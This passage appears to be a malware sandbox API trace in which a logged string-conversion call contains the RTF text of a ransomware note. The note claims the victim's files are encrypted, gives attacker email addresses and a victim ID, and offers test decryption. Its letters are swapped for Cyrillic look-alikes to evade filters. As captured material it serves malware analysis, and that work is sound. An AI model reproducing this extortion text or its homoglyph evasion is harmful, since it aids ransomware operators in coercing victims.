lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss 